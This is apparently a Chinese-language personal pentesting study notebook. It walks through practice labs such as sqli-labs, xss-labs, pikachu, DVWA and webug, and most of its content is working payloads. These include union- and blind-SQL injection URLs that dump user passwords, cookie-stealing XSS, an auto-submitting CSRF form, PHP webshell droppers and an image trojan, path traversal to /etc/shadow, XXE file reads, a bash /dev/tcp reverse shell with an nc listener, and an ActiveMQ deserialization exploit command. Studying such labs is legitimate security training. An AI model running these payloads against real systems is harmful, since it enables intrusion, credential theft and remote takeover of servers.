持续更新中.......,还有很多内容没有往上写,排版也有问题,后期慢慢修改,见谅!
信息安全笔记(V1.0)
——@author knoon
前言
基本名称概念
-
工作组:在大型内部网络中,成千上百的计算机组成局域网,为了方便管理对计算机进行分组。
-
域:升级版的工作组,用户想要访问域内的资源必须具有相应的权限。
-
域控制器:相当于门禁系统,其中存着域内存在的计算机信息。包括账号、密码等数据
-
单域 通常,在一个地理位置固定的小公司里,建立一个域就可以满足需求。在-一个域内, 一般要 有至少两台域服务器,一台作为DC,另一台作为备份DC。活动目录的数据库(包括用户的账号 信息)是存储在DC中的,如果没有备份DC, - -旦DC瘫痪了,域内的其他用户就不能登录该域 了。如果有一台备份DC,至少该域还能正常使用( 把瘫痪的DC恢复即可)。
-
父域和子域
出于管理及其他需求,需要在网络中划分多个域。第- - 个域称为父域,各分部的域称为该域 的子域。例如,-一个大公司的各个分公司位于不同的地点,就需要使用父域及子域。如果把不同 地点的分公司放在同-一个域内,那么它们之间在信息交互(包括同步、复制等)上花费的时间就 会比较长,占用的带宽也会比较大(在同-个域内,信息交互的条目是很多的,而且不会压缩; 在不同的域之间,信息交互的条目相对较少,而且可以压缩)。这样处理有一个好处,就是分公司 可以通过自己的域来管理自己的资源。还有一-种情况是出于安全策略的考虑(每个域都有自己的 安全策略)。例如,一个公司的财务部希望使用特定的安全策略( 包括账号密码策略等),那么可 以将财务部作为-一个子域来单独管理。
-
域树 域树( Tree )是多个域通过建立信任关系组成的集合。-一个域管理员只能管理本域,不能访问 或者管理其他域。如果两个域之间需要互相访问,则需要建立信任关系( Trust Relation)。信任关 系是连接不同域的桥梁。域树内的父域与子域,不但可以按照需要互相管理,还可以跨网络分配文 件和打印机等设备及资源,从而在不同的域之间实现网络资源的共享与管理、通信及数据传输。
-
域森林( Forest ): 是指多个域树通过建立信任关系组成的集合。
-
活动目录( Active Directory, AD ): 是指域环境中提供目录服务的组件。
工具篇
-
Metasploit
-
BeEF
-
PowerSploit PowerSploit是一款基于PowerShell 的后渗透( Post-Exploitation )测试框架。PowerSploit 包含 很多PowerShell脚本,主要用于渗透测试中的信息收集、权限提升、权限维持。
-
Nishang Nishang是-款针对PowerShell 的渗透测试工具,集成了框架、脚本(包括下载和执行、键盘 记录、DNS、延时命令等脚本)和各种Payload,被广泛应用于渗透测试的各个阶段。
-
Empire Empire是一款内网渗透测试利器,其跨平台特性类似于Metasploit, 有丰富的模块和接口,用
户可自行添加模块和功能。
-
ps_ encoder.py ps_ encoder.py是使用Base64编码封装的PowerShell命令包,其目的是混淆和压缩代码。
-
smbexec smbexec是一个使用Samba工具的快速PsExec类工具。PsExec的执行原理是:先通过ipc$进行连接,再将psexesvc.exe释放到目标机器中。通过服务管理( SCManager )远程创建psexecsvc服务并启动服务。客户端连接负责执行命令,服务端负责启动相应的程序并回显数据。
-
Veil Veil用于生成绕过常见防病毒解决方案的Metasploit有效载荷.
-
Cobalt Strike Cobalt Strike是一款优秀的后渗透测试平台,功能强大,适合团队间协同工作。Cobalt Strike 主要用于进行内网渗透测试。
-
Getif Getif是一个基于Windows的免费图形界面工具,用于收集SNMP设备的信息。
零.信息收集
==信息收集,收集些什么东西?==
0.综述
1.域名IP及备案信息
-
ksubdomain 无状态域名爆破工具(安全客)
-
subDomainsBrute
-
dnsenum github.com/fwaeytens/d…
-
Layer子域名挖掘 www.webshell.cc/6384.html
-
CDN绕过
CDN探测:
ping 命令观察是否存在CDN
在线网站探测是否存在CDN
CDN绕过:
邮件系统一般采用真实IP
国外IP访问,一般不会部署CDN,可获得真实IP
查询域名解析记录
对APP抓包分析IP地址
绕过CloudFlare查找真实IP
2.目录结构探测
-
dirmap
3.端口收集
4.指纹识别
1.域名信息收集
- whois查询
- 备案信息查询
- 工具查询,同上
2.敏感信息收集
利用Google,百度,GitHub,等等途径收集敏感信息
3.收集子域名信息
- 工具类探测子域名
- 搜索引擎探索子域名
- 第三方工具网站检索
4.端口信息收集
5.指纹识别
壹.常见web漏洞
1.SQL注入
1.概述
- SQL注入的原因:当用户输入的参数可控时,输入的参数被拼接到SQL语句中并带入数据库执行。
- SQL注入的作用:
- 执行命令
- 获取更多数据
- 读写文件
SQL大致可以分为两类:
数字型注入
字符型注入
字符型注入最重要的是闭合SQL语句,以及注释多余代码
2.注意事项
-
数据库不同,字符的连接符号也不同
数据库名称 连接符号 MySQL 空格 SQL Server + Oracle ||
2.实战靶场
sqli-labs
地址: sqli.bihuo.cn 或者 phpstudy本地自行搭建
less-1------==演示==
猜测字段数:
sqli.bihuo.cn/Less-1/?id=…' order by 3 --+ sqli.bihuo.cn/Less-1/?id=…' union select 1,2,3 --+ // @@version_compile_os 操作系统 version() database() user()
判断操作系统,版本:
?id=-1' union select 1,version(),database() --+ sqli.bihuo.cn/Less-1/?id=…' union select 1,database(),3 --+ 查询数据库名称 **查询全部数据库: ** union select 1,group_concat(schema_name), 4 from information_schema.schemata --+ 查询表名:
/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='sqli_bihuo_cn' --+ /?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 查询字段名: /?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+ 查询字段值: /?id=0' union select 1,group_concat(id,0x3a,username,0x2c,password,0x3b),3 from users--+ /?id=0' union select 1,version(),group_concat(id,0x3a,username,0x3a,password) from users --+
猜测SQL语句为: SELECT * FROM xxx WHERE id='$id' LIMIT 0,1
疑问1: 为什么SELECT * FROM users WHERE id='1 and 1=2' 可以正常执行?
> 解决:经过测试,我发现这是因为id的类型为数值型,例如int,而查询的时候传入的是字符串,而MYSQL是
>十分智能的,它会进行类型转换,但是这个转换过程是很随意的,就像varchar 的’2asdasd’会被转成int的 2。
> 所有其他情况下.两个参数都会被转换为浮点数再进行比较,说明如果我是字符串和数字比较,需要将字符串转为 > 浮点数
> 构造语句:?id=1' and '1' = '1' --+
> 具体解释可以看Leej师傅:https://www.anquanke.com/post/id/86021
疑问2:为什么 order by 语句要这样写: ?id=1' order by 3 --+
1.这样写 SELECT * FROM xxx WHERE id='1' order by 8 --+' LIMIT 0,1
> 肯定可以执行,毫无疑问
2.这样写 SELECT * FROM xxx WHERE id='1 order by 8 --+' LIMIT 0,1
> 我的理解是当你不闭合前面的单引号,你所输入的全部被mysql识别为字符串。例子说明: > /Less-1/?id=2 --+ (第一关可以执行)说明输入的 --+被识别为字符串.
疑问3: order by 具体是值什么?
>当sql语句为:SELECT * FROM xxx WHERE id='$id' , order by 值得是数据库中具体的列数
>当sql语句为:SELECT username , password FROM....... ,order by 指 select后面的内容
疑问4:
为什么不能运行; union select 1,group_concat(schema_name) from information_schema.schemata,4 --+
> 解释: 你不能select语句还没有结束,就 from 什么.......
==============================================================================================
less-1:
http://sqli.bihuo.cn/Less-1/?id=1' order by 3 --+
http://sqli.bihuo.cn/Less-1/?id=0' union select 1,2,3 --+
// @@version_compile_os 操作系统 version() database() user()
?id=-1' union select 1,version(),database() --+
http://sqli.bihuo.cn/Less-1/?id=0' union select 1,database(),3 --+ 查询数据库名称
查询全部数据库:
union select 1,group_concat(schema_name), 4 from information_schema.schemata --+
查询表名: http://sqli.bihuo.cn/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='sqli_bihuo_cn' --+
http://sqli.bihuo.cn/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
查询字段名:http://sqli.bihuo.cn/Less-1/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+
查询字段值: http://sqli.bihuo.cn/Less-1/?id=0' union select 1,group_concat(id,0x3a,username,0x2c,password,0x3b),3 from users--+
==============================================================================================
less-2:
确定字段数: http://sqli.bihuo.cn/Less-2/?id='2' order by 3 --+
查询数据库名:http://sqli.bihuo.cn/Less-2/?id='0' union select 1,database(),3--+
查询表名: http://sqli.bihuo.cn/Less-2/?id='0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='sqli_bihuo_cn'--+
查询字段名: http://sqli.bihuo.cn/Less-2/?id='0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
查询字段值: http://sqli.bihuo.cn/Less-2/?id='0' union select 1,group_concat(id,0x2e,username,0x2e,password,0x3b),3 from users--+
==============================================================================================
less-3:
简单构造:
http://127.0.0.1/sqli-labs/Less-3/?id=1') and '1'='1' --+
简单查询:
http://127.0.0.1/sqli-labs/Less-3/?id=0') union select 1,version(),@@version_compile_os --+
查询数据库名:
http://127.0.0.1/sqli-labs/Less-3/?id=0') union select 1,version(),group_concat(schema_name) from information_schema.schemata --+
查询security数据库下全部表名:
http://127.0.0.1/sqli-labs/Less-3/?id=0') union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema='security' --+
查询users表中的所有列名:
http://127.0.0.1/sqli-labs/Less-3/?id=0') union select 1,version(),group_concat(column_name) from information_schema.columns where table_name='users' --+
查询users表中的所有用户:
http://127.0.0.1/sqli-labs/Less-3/?id=0') union select 1,user(),group_concat(id,0x3a,username,0x3a,password) from users --+
==============================================================================================
less-4:
简单构造:
http://127.0.0.1/sqli-labs/Less-4/?id=1") and '1'='1' --+
简单查询:
http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,user(),database() --+
查询数据库名:
http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,user(),group_concat(schema_name) from information_schema.schemata --+
查询security数据库下全部表名:
http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,user(),group_concat(table_name) from information_schema.tables where table_schema=database() --+
查询users表中的所有列名:
http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,user(),group_concat(column_name) from information_schema.columns where table_name='users' --+
查询users表中的所有用户:
http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,user(),group_concat(id,0x3a,username,0x3a,password) from users --+
================================================================================================
less-5:
//less-5,整个页面只显示 "you are in ....",但是它会爆出错误的SQL语句。
简单构造语句:
http://127.0.0.1/sqli-labs/Less-5/?id=1' and 1=1 --+
确定字段数:
http://127.0.0.1/sqli-labs/Less-5/?id=1' order by 3 --+
确定数据库长度:
http://127.0.0.1/sqli-labs/Less-5/?id=1' and length(database())=8 --+
//成功测出当前数据库的长度为8
确定数据库名:
方法一:
//确定当前数据库名的首字母
http://127.0.0.1/sqli-labs/Less-5/?id=0' or substr(database(),1,1)='s' --+
//确定当前数据名的第二个字母,substr(数据库名,起始位置,截断长度)
http://127.0.0.1/sqli-labs/Less-5/?id=0' or substr(database(),2,1)='e' --+
............
最后得出数据库名: security
方法二:
burp suite 数据库名爆破
确定表名: http://sqli.bihuo.cn/Less-5/?id=1' and substr((select table_name from information_schema.tables where table_schema='sqli_bihuo_cn' limit 0,1) ,1,1)='e' --+
确定字段名: http://sqli.bihuo.cn/Less-5/?id=1' and substr((select column_name from information_schema.columns where table_schema='sqli_bihuo_cn' and table_name='users' limit 0,1) ,1,1)='i' --+
//继续各种爆破
确定具体数值: http://sqli.bihuo.cn/Less-5/?id=1' and substr((select username from users limit 0,1) ,1,1)='d' --+
//继续各种爆破
==============================================================================================
less-6:
payload: http://sqli.bihuo.cn/Less-6/?id=1" and substr((select username from users limit 0,1),1,1)='d' --+
==============================================================================================
less-7:
payload: http://sqli.bihuo.cn/Less-7/?id=1')) and substr((select username from users limit 0,1),1,1)='d' --+
==============================================================================================
less-8:
payload: http://sqli.bihuo.cn/Less-8/?id=1' and substr((select username from users limit 0,1),1,1)='d' --+
==============================================================================================
less-9(延时注入):暂时
确定延时注入;http://sqli.bihuo.cn/Less-9/?id=1' and sleep(10)--+
确定数据库长度:http://sqli.bihuo.cn/Less-9/?id=1' and( if(length(database())=13,sleep(10),NULL))--+
确定数据库名: http://sqli.bihuo.cn/Less-9/?id=1' and(select if(ascii(substr(database(),1,1)) > 50,sleep(10),NULL))--+
.........................等等
确定表名: http://sqli.bihuo.cn/Less-9/?id=1' and (select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),NULL))--+
确定字段名: http://sqli.bihuo.cn/Less-9/?id=1' and (select if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(10),NULL))--+
确定具体数值:http://sqli.bihuo.cn/Less-9/?id=1' and (select if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(10),NULL))--+ (第一个字符为:D)
==============================================================================================
less-10:
确定延时注入:http://sqli.bihuo.cn/Less-10/?id=1'" and sleep(20)--+
攻击过程:同上
payload: http://sqli.bihuo.cn/Less-10/?id=1'" and (select if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(10),NULL))--+
==============================================================================================
less-11:
登录: admin 11' or 1=1-- /11' or 1=1#
admin'# 密码随便输入
admin' order by 2-- /#爆出列数,然后依次继续测试
payload: admin' union select 1,group_concat(username) from users-- /(有空格)
0' union select 1,database()-- /爆出数据库:security
0' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' -- / 爆出表名:emails,referers,uagents,users
0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' -- /爆出列名:id,username,password
0' union select 1,group_concat(id,0x3a,username,0x3a,password) from users-- /爆 出所有
==============================================================================================
less-12:
admin") or 1=1-- /
0") union select 1,database()-- /
....................... 跟十一关不能说相似,只能说是一模一样
==============================================================================================
less-13:
pikachu
==1.数字型== 判断字段数:id=0 order by 2--+&submit=%E6%9F%A5%E8%AF%A2 id=1 order by 2--+&submit=%E6%9F%A5%E8%AF%A2
id=1 union select 1,2--+&submit=%E6%9F%A5%E8%AF%A2 id=0 union select 1,2--+&submit=%E6%9F%A5%E8%AF%A2
确定数据库名称: id=0 union select 1,database()--+&submit=%E6%9F%A5%E8%AF%A2 确定表名:
id=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'--+&submit=%E6%9F%A5%E8%AF%A2 确定字段名:
id=0 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+&submit=%E6%9F%A5%E8%AF%A2 确定字段值:
id=0 union select 1,group_concat(id,0x3a,username,0x2c,password,0x3b,level) from users--+&submit=%E6%9F%A5%E8%AF%A2 为了美观显示可以写成这样: id=0 union select 1,group_concat(id,0x3a,username,0x2c,password,0x2c,level,0x3c,0x3e) from users--+&submit=%E6%9F%A5%E8%AF%A2
webbug4.0
(ID:1)显错注入:
判断字段数:?id=0' order by 2 --+
判断数据库名称:?id=0' union select 1, database() --+ outcomes:webug //这是当前数据库
?id=0' union select 1, group_concat(schema_name) from information_schema.schemata --+
判断表名: ?id=0' union select 1, group_concat(table_name) from information_schema.tables where table_schema='webug' --+
-------------------------------------------------------------------------
?id=0' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() --+
判断字段名: ?id=0' union select 1, group_concat(column_name) from information_schema.columns where table_name='flag' --+ //发现flag表,所以哈哈
确定flag: ?id=0' union select 1, group_concat(id,0x3a,flag) from flag --+
flag:1:dfafdasfafdsadfa
(ID:2)布尔注入:
DVWA
low:
2' order by 2-- or 2' order by 2#
-----------------------------------------------------------------------
0' union select 1,database() -- or 0' union select 1,database()#
0' union select 1,group_concat(schema_name) from information_schema.schemata#
------------------------------------------------------------------------
0' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'# //outcomes: guestbook,users
-----------------------------------------------------------------------
0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
outcomes:user_id,first_name,last_name,user,password,avatar,last_login,failed_login
--------------------------------------------------------------------------
0' union select 1,group_concat(user_id,0x3a,user,0x3a,password) from users#
2.XSS
1.概述
**简单xss演示:**链接:pan.baidu.com/s/1Wy1mznf0… 提取码:ec1w 漏洞产生原因: web应用程序对用户输入过滤不足导致,攻击者利用网站漏洞将恶意脚本代码(常包括HTML和 Javascript)注入到web程序中。
防御: XSS钓鱼代码模板: 链接:pan.baidu.com/s/1M43hF5xy… 提取码:dlz3
xss先行知识:
网页一直刷新:<meta http-equiv="refresh" content="0;">
嵌入其他网站链接:<iframe src=https://www.baidu.com></iframe>
http:132.32.4.2(超链接):<a href="https://www.baidu.com">http:132.32.4.2</a>
常用标签:
<img src="xss" onerror="alert(1232);"/>
<input onfocus="alert(12345);" autofocus>
<input onfocus="alert(12345);">
<details ontoggle="alert(123);"></details>
<details open ontoggle="alert('xss');"/>
<svg onload="alert(123);"/>
<select onfocus="prompt(123456);"/>
<select onfocus="alert(123);"/>
<select onfocus=alert(123) autofocus/>
2.靶场打靶
xss-labs-master
**链接地址:**xss.tesla-space.com/
level1: <script>alert('xss')</script>
level2: "><script>alert(1)</script>
."><script>alert(1)</script>
"><script>alert(1)</script><".
level3: '> onclick='alert(1)' //
'> onmouseover=alert(1)//
level4: "onclick='alert(1)' //
level5: "> <a href="javascript:alert(1)"> //
level6: "> <a Href="javascript:alert(1)">
"> <a Href="javascript:alert(1)">// JavaScript对大小写敏感
level7: "> <a hhrefref="javaSscriptcript:alert(1)">//
//HTML实体转换------> https://www.qqxiuzi.cn/bianma/zifushiti.php
level8; javascript:alert(1)
level9: javascript:alert(1)// http://
level10;<input name="t_link" value="" type="hidden" onclick="alert(1)">
pikachu靶场
反射性xss(get): <img /src=1 onerror=console.log(123)> 反射性xss(post): 存储性xss: DOM型xss: DOM型xss-x: xss盲打: 说明该提交方式为post,提交的内容会在后台被接受执行,故可盗取管理员cookie xss过滤: 说明该关卡会使用正则对<script进行替换为空,也就是过滤了。
'</p><a href="www.baidu.com">11111</a><p>' '</p><a onclick=alert("xss")>11111<p>' '</p><a onclick=alert("xss")>关注天行105</a><p>'xss之htmlspecialchars: ' onclick='alert(111)' ' onmouseover='alert(111)' xss之href输出: javascript:alert('xss') xss之js输出: '//
webug4.0
(ID:9)反射性xss: ?id=<script>alert(document.cookie)</script>#
(ID:10)存储性xss: <script>alert(document.cookie)</script>
DVWA
low:
1.xss(reflected)
<script>alert(1)</script>
medium:
1.<a href="javascript:alert(1)">it's a xss </a>
2.<iframe src="javascript:alert(document.cookie)">111</iframe> //过滤掉了<script>
3.<a href="javascript:alert(document.cookie)">111</a>
4.<img src=1 onerror=console.log(333) />
5.<img src=1 onerror=console.log(document.cookie) />
6.
3.CSRF(跨站请求伪造)
1.概述
==CSRF(跨站请求伪造)概述== Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。
漏洞修复:
1.referer
2.token
3.验证码
2.靶场打靶
pikachu
CSRF(get): ?sex=boy&phonenum=15123847266&add=成都市&email=123@123&submit=submit CSRF(post): 原理:通过改包实现信息修改 CSRF(token):
利用代码(可以自动提交):
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://smartsms.ltd:81/pikachu/vul/csrf/csrfget/csrf_get_edit.php">
<input type="hidden" name="sex" value="boy" />
<input type="hidden" name="phonenum" value="18626545453" />
<input type="hidden" name="add" value="asian" />
<input type="hidden" name="email" value="vince@pikachu.com" />
<input type="hidden" name="submit" value="submit" />
<input id="button" type="submit" value="Submit request" />
</form>
<script>document.getElementById("button").click();</script>
</body>
</html>
4.反序列化漏洞
1.php反序列化漏洞
1.概述
漏洞产生原因: PHP 反序列化漏洞又叫做 PHP 对象注入漏洞,是因为程序对输入数据处理不当导致的. 反序列化漏洞的成 因在于代码中的 unserialize() 接收的参数可控,从上面的例子看,这个函数的参数是一个序列化的对象, 而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击。 ==总而言之:== 反序列化漏洞是由于unserialize函数接收到了恶意的序列化数据篡改成员属性后导致的。
深入理解漏洞: www.cnblogs.com/20175211lyz… 关于函数魔术方法 zhuanlan.zhihu.com/p/377676274 理解PHP反序列化漏洞
序列化
反序列化有类: <?php class S{ public $test="pikachu"; } $s=new S(); //创建一个对象 echo serialize($s); //把这个对象进行序列化 ?> //输出:O:1:"S":1:{s:4:"test";s:7:"pikachu";} //说明: O:代表object 1:代表对象名字长度为一个字符 S:对象的名称 // 1:代表对象里面有一个变量 s:数据类型 4:变量名称的长度 // test:变量名称 s:数据类型 7:变量值的长度 pikachu:变量值 无类: <?php $t = 'xiaodi'; echo serialize($t); ?> //输出:s:6:"xiaodi";<?php class S{ public $test="pikachu"; } $s=new S(); //创建一个对象 echo serialize($s); //把这个对象进行序列化 echo "\n"; $u=unserialize('O:1:"S":1:{s:4:"test";s:7:"pikachu";}'); echo $u->test; //得到的结果为pikachu ?> //输出:O:1:"S":1:{s:4:"test";s:7:"pikachu";} // pikachu魔术方法
<?php class S{ var $test = "pikachu"; function __destruct(){ echo $this->test; } } /$s = $_GET['test']; @$unser = unserialize('O:1:"S":1:{s:4:"test";s:8:"pikachua";}'); ?> //输出:pikachua /* 常见魔术方法: __construct(),类的构造函数 __destruct(),类的析构函数 __call(),在对象中调用一个不可访问方法时调用 __callStatic(),用静态方式中调用一个不可访问方法时调用 __get(),获得一个类的成员变量时调用 __set(),设置一个类的成员变量时调用 __isset(),当对不可访问属性调用isset()或empty()时调用 __unset(),当对不可访问属性调用unset()时被调用。 __sleep(),执行serialize()时,先会调用这个函数 __wakeup(),执行unserialize()时,先会调用这个函数 __toString(),类被当成字符串时的回应方法 __invoke(),调用函数的方式调用一个对象时的回应方法 __set_state(),调用var_export()导出类时,此静态方法会被调用。 __clone(),当对象复制完成时调用 __autoload(),尝试加载未定义的类 __debugInfo(),打印所需调试信息 //PHP讲以双下划线__保留为魔术方法,所有的魔术方法 必须 声明为 public。 //详解;https://zhuanlan.zhihu.com/p/377676274 */
2.漏洞实现
3.实战打靶
5.RCE漏洞
1.概述
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。 远程系统命令执行 一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口, 比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器
远程代码执行 同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。
2.实战打靶
pikachu
1.命令执行
2.代码执行
1.判断
phpinfo(); //执行phpinfo(); 语句发现其可以正常执行,具有代码执行的漏洞
2.利用
//利用代码执行的漏洞向后台写入PHP一句话木马,通过蚁剑或其他工具进行连接
<?php
fwrite(fopen("muma.php","w"),'<?php @eval($_POST[hacker]);?>');
?> //一键连接就OK,实在不行就去掉 <?php 和 ?> 然后执行
DVWA
==Command Injection:==
127.0.0.1&cat /etc/passwd
攻击机开启端口监听:nc -lvp 6666(端口) 或者 nc -lvnp 6666(端口)
受害机:bash -i >& /dev/tcp/192.168.226.134/端口 0>&1
127.0.0.1&bash -i >& /dev/tcp/192.168.1/6666 0>&1
6.文件包含漏洞
1.概述
File Inclusion(文件包含漏洞)概述
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。比如 在PHP中,提供了:include(),include_once(),require(),require_once() 这些文件包含函数,这些函数在代码设计中被经常使用到。大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。攻击者会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。
根据不同的配置环境,文件包含漏洞分为如下两种情况:
**1.本地文件包含漏洞:**仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。 **2.远程文件包含漏洞:**能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
2.靶场实战
pikachu
本地文件包含
1.本地文件包含:仅能够对服务器本地文件进行读取,泄露敏感信息。(例;linux中读取敏感件:../../../../../)
payload;
?filename=../../../../../../../etc/passwd&submit=提交查询
........... //总之危害情况视具体情况而定
远程文件包含
//此漏洞,大有可为!
//思路
1.在自己的服务器上创建一个恶意PHP文件,此恶意文件可以在漏洞机上执行,并向其中写入一句话木马。
//我使用本地服务器(127.0.0.1)
本地拍PHP文件为:test.php
test.php: <?php fwrite(fopen("muma.php","w"),'<?php @eval($_POST[hacker]);?>'); ?>
7.不安全的文件下载
1.概述
不安全的文件下载概述 文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。 此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来,从而导致后台敏感信息(密码文件、源代码等)被下载。
2.靶场实战
pikachu
在线靶场(谜团靶场)
payload:
?filename=../../../../../../../etc/passwd
../../../../../../../../etc/shadow
本地搭建pikachu:
1.下载:E:\phpstudy\WWW\pikachu\vul\unsafedownload\download filename=../../../../phpinfo.php
webug靶场
(ID:15)任意文件下载:?file=index.php
?file=../../../../../../etc/passwd
8.文件上传漏洞
1.概述
不安全的文件上传漏洞概述 文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断,比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录.如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。
2.靶场实战
1.pikachu
1.客服端检查:法一:burp suite更改;法二:前端禁用js(火狐浏览器-about:config禁用js);法三:删除js代码
2.服务端检查:Content-Type: image/png or image/jpeg(实现服务端欺骗)
3.getimagesize()配合文件包含漏洞
制作图片木马:copy/b te.JPG+test.php cc.png
test.php:<?php @eval($_POST[hacker]);?>
../../unsafeupload/uploads/2021/08/17/700269611b6bffd8996945825253.png(访问此图片执行PHP代码)
9.越权
1.概述
如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。
一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。
2.靶场
水平越权:同级用户之间操作,更改另一方的数据.
垂直越权:权限不同的用户,低权限用户获得高级用户的权限。简而言之就是--管理员创建用户的数据(burp suite抓包)+普通用户的cookie = 普通用户实现管理员功能
TMD这有个锤子用啊!在测试系统时,检测是否有该漏洞。
10.XXE漏洞
1.概述
参考链接:https://article.itxueyuan.com/nW74BB
xml:传输和存储数据格式类型,传输数据
XXE:指"xml外部实体注入漏洞",即xml上的漏洞。概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
危害:文件读取,RCE利用,内网攻击,DOS攻击
显示内容:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe "存在XXE漏洞">
]>
<name>&xxe;</name>
读取内容:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///G://wshy.txt">
]>
<x>&xxe;</x>
引入外部实体:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1/evil.dtd">
%file;
]>
<x>&send;</x>
<!ENTITY send SYSTEM "file:///G:/wshy.txt">
2.实战
11.SSRF(服务端请求伪造)
1.概述
SSRF(Server-Side Request Forgery:服务器端请求伪造) 其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制---- 导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据数据流:攻击者----->服务器---->目标地址。根据后台使用的函数的不同,对应的影响和利用方法又有不一样
PHP中下面函数的使用不当会导致SSRF: file_get_contents() fsockopen() curl_exec()
2.靶场实战
pikachu
SSRF(curl):
观察url:/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/vul/vul/ssrf/ssrf_info/info1.php(有点意思)
思路想法:感觉利用思路可以跟RCE里面的代码执行一样利用。
SSRF(file_get_content):
12.目录遍历漏洞
13.文件读取
14.逻辑安全
15.未授权访问
贰.中间件及其他
1.漏洞复现
1.ActiveMQ
1.1ActiveMQ 反序列化漏洞 (CVE-2015-5254)
==简介:==Apache ActiveMQ 5.x版本之前的5.13.0安全漏洞,该程序造成的漏洞不限制代理中可以序列化的类。 远程攻击者可以制作一个特殊的序列化Java Message Service (JMS) ObjectMessage 对象,利用该漏洞执行任意代码。
==利用:==
1.下载下载jmet的jar文件,并在同目录下创建一个external文件夹
github.com/matthiaskai…
2.同目录下执行:java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616
